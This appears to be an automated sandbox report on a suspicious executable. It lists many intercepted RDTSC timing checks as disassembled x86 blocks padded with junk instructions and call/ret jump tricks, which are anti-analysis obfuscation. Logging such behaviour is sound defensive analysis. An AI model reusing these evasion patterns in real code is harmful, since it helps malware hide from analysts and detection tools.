Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1870 second address: 5A1896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7C25274A06h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jc 00007F7C252749FEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1896 second address: 5A18CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F7C2525D0D8h 0x00000010 jmp 00007F7C2525D0D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8A17 second address: 5D8A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8A1B second address: 5D8A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007F7C2525D0C6h 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8B50 second address: 5D8B77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F7C252749F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8B77 second address: 5D8B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8B7B second address: 5D8B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8B7F second address: 5D8B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDFA2 second address: 5DDFB9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7C252749FCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DE796 second address: 5DE7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7C2525D0D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DE7B9 second address: 5DE7BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DE7BF second address: 5DE7C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E564E second address: 5E56F7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7C252749F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 jmp 00007F7C25274A06h 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c jmp 00007F7C252749FCh 0x00000021 pop eax 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007F7C252749F8h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c mov esi, dword ptr [ebp+122D2BDDh] 0x00000042 call 00007F7C252749F9h 0x00000047 push ecx 0x00000048 jmp 00007F7C252749FEh 0x0000004d pop ecx 0x0000004e push eax 0x0000004f pushad 0x00000050 pushad 0x00000051 jmp 00007F7C25274A09h 0x00000056 push eax 0x00000057 pop eax 0x00000058 popad 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F7C25274A00h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E56F7 second address: 5E571F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F7C2525D0D5h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5DD8 second address: 5E5DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5DDC second address: 5E5DE2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E63F4 second address: 5E63F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E63F8 second address: 5E6406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F7C2525D0C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6406 second address: 5E642D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7C25274A09h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E66BA second address: 5E66C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7850 second address: 5E7856 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E80B7 second address: 5E80BD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E90A8 second address: 5E90AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E80BD second address: 5E80C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E92BA second address: 5E92D4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7C25274A01h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E90AC second address: 5E90BE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7C2525D0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA657 second address: 5EA65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA65B second address: 5EA65F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA65F second address: 5EA6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F7C252749F8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov esi, dword ptr [ebp+122D2B51h] 0x0000002a push 00000000h 0x0000002c call 00007F7C25274A02h 0x00000031 mov esi, dword ptr [ebp+122D3A2Bh] 0x00000037 pop esi 0x00000038 push 00000000h 0x0000003a mov si, di 0x0000003d and esi, dword ptr [ebp+122D2486h] 0x00000043 xchg eax, ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 js 00007F7C252749F6h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA6C5 second address: 5EA6E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9AAD second address: 5E9ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C252749FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9ABC second address: 5E9AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9AC0 second address: 5E9AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB15E second address: 5EB1F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F7C2525D0DDh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F7C2525D0C8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov esi, dword ptr [ebp+122D23A8h] 0x00000033 movsx esi, di 0x00000036 push 00000000h 0x00000038 adc di, 8AE1h 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push eax 0x00000042 call 00007F7C2525D0C8h 0x00000047 pop eax 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c add dword ptr [esp+04h], 0000001Ah 0x00000054 inc eax 0x00000055 push eax 0x00000056 ret 0x00000057 pop eax 0x00000058 ret 0x00000059 push eax 0x0000005a push ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB1F6 second address: 5EB1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBC9A second address: 5EBCA0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBCA0 second address: 5EBCA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBCA6 second address: 5EBCB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F7C2525D0C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBCB9 second address: 5EBCD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBCD0 second address: 5EBCD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAF5C second address: 5EAF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB9EA second address: 5EB9F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F7C2525D0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1FF9 second address: 5F1FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1FFF second address: 5F2004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2004 second address: 5F200A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F200A second address: 5F200E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F25B4 second address: 5F25BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3692 second address: 5F36DE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7C2525D0D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jnl 00007F7C2525D0CCh 0x00000013 push 00000000h 0x00000015 or dword ptr [ebp+122D23CAh], eax 0x0000001b push 00000000h 0x0000001d mov dword ptr [ebp+122D39AEh], ebx 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F7C2525D0CEh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F26CC second address: 5F2746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F7C252749F8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F7C252749F8h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 add dword ptr [ebp+122D2069h], edx 0x0000004b mov dword ptr fs:[00000000h], esp 0x00000052 mov eax, dword ptr [ebp+122D0DBDh] 0x00000058 mov edi, dword ptr [ebp+122D21E4h] 0x0000005e push FFFFFFFFh 0x00000060 pushad 0x00000061 mov ecx, dword ptr [ebp+122D2E91h] 0x00000067 movsx edi, bx 0x0000006a popad 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F36DE second address: 5F36E8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7C2525D0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2746 second address: 5F274A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F274A second address: 5F274E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F274E second address: 5F2754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2754 second address: 5F275A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4767 second address: 5F476D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F275A second address: 5F275E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6563 second address: 5F656B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F656B second address: 5F65FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F7C2525D0D8h 0x0000000f jmp 00007F7C2525D0D2h 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F7C2525D0C8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov edi, dword ptr [ebp+122D2E0Dh] 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 sub dword ptr [ebp+122D1FEEh], ecx 0x0000003f pop edi 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push ebp 0x00000045 call 00007F7C2525D0C8h 0x0000004a pop ebp 0x0000004b mov dword ptr [esp+04h], ebp 0x0000004f add dword ptr [esp+04h], 00000014h 0x00000057 inc ebp 0x00000058 push ebp 0x00000059 ret 0x0000005a pop ebp 0x0000005b ret 0x0000005c push eax 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 jc 00007F7C2525D0C6h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F65FE second address: 5F6602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6789 second address: 5F678E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F77E8 second address: 5F7801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F678E second address: 5F679C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F679C second address: 5F67A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F67A0 second address: 5F67A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F78F3 second address: 5F7906 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F7C252749F6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7906 second address: 5F790C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87E1 second address: 5F87E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87E7 second address: 5F87EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87EB second address: 5F888D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F7C252749F8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov ebx, 766D10B2h 0x00000028 push dword ptr fs:[00000000h] 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F7C252749F8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov dword ptr fs:[00000000h], esp 0x00000050 or dword ptr [ebp+12486195h], edx 0x00000056 mov eax, dword ptr [ebp+122D0DFDh] 0x0000005c je 00007F7C252749FCh 0x00000062 sub dword ptr [ebp+122D3BD7h], edi 0x00000068 adc bx, F275h 0x0000006d push FFFFFFFFh 0x0000006f call 00007F7C252749FEh 0x00000074 adc bx, 4B68h 0x00000079 pop edi 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F7C25274A04h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F888D second address: 5F8893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8893 second address: 5F8897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAE9C second address: 5FAEA6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7C2525D0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAEA6 second address: 5FAEB9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F7C252749F6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FED63 second address: 5FED90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F7C2525D0D7h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 js 00007F7C2525D0D0h 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FED90 second address: 5FEE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov ebx, dword ptr [ebp+122D3B5Ah] 0x0000000c mov dword ptr [ebp+12459DC8h], edx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F7C252749F8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e jne 00007F7C252749FCh 0x00000034 xor ebx, dword ptr [ebp+122D3B9Ah] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F7C252749F8h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 pushad 0x00000057 je 00007F7C252749F7h 0x0000005d cld 0x0000005e popad 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jo 00007F7C252749F6h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEE0A second address: 5FEE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEE0E second address: 5FEE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEE14 second address: 5FEE1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
